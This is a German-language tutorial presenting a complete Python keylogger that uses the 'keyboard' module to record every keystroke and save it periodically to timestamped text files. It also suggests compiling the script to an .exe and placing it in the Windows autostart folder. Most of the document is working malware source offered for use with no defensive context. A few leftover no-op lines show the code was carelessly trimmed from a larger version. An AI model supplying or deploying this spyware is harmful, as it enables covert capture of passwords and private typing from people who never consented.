Ein Keylogger ist ein Programm, das dazu dient, jeden auf der Tastatur eines bestimmten Computers getippten Tastenanschlag aufzuzeichnen und abzuspeichern. Ich stelle hier ein Python Skript vor, was genau das tut.
Wir benötigen dafür das Python Modul Keyboard.
Mit diesem Modul können Sie die vollständige Kontrolle über Ihre Tastatur übernehmen, Hotkeys registrieren, Tastendrucke simulieren und vieles mehr.
In dem hier vorgestellten Skript werden die Tastenschläge nach einem vorher definierten Zeitintervall in Texdateien mit Zeitstempel abgespeichert.
Es gibt verschiedene Verwendungsmöglichkeiten für das Skript. Zum Beispiel könnte man es in eine Exe-Datei umwandeln und in den Autostart-Ordner seines Computers packen.
In dem Skript muss noch das Zeitintervall angepasst werden, aller wie viel Sekunden eine neue Logdatei geschrieben werden soll.
Hier sieht man das Skript in Aktion:
Hier das Skript:
import keyboard
from threading import Timer
from datetime import datetime
SEND_REPORT_EVERY = 5 #hier das Intervall in Sekunden eingeben, wie oft eine neue Datei geschrieben werden soll
class Keylogger:
def __init__(self, interval, report_method="email"):
self.interval = interval
self.report_method = report_method
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()
def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name
def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")
def report(self):
self.log
self.end_dt = datetime.now()
self.update_filename()
self.report_method == "file"
self.report_to_file()
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()
def start(self):
self.start_dt = datetime.now()
keyboard.on_release(callback=self.callback)
self.report()
print(f"{datetime.now()} - Start")
keyboard.wait()
if __name__ == "__main__":
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()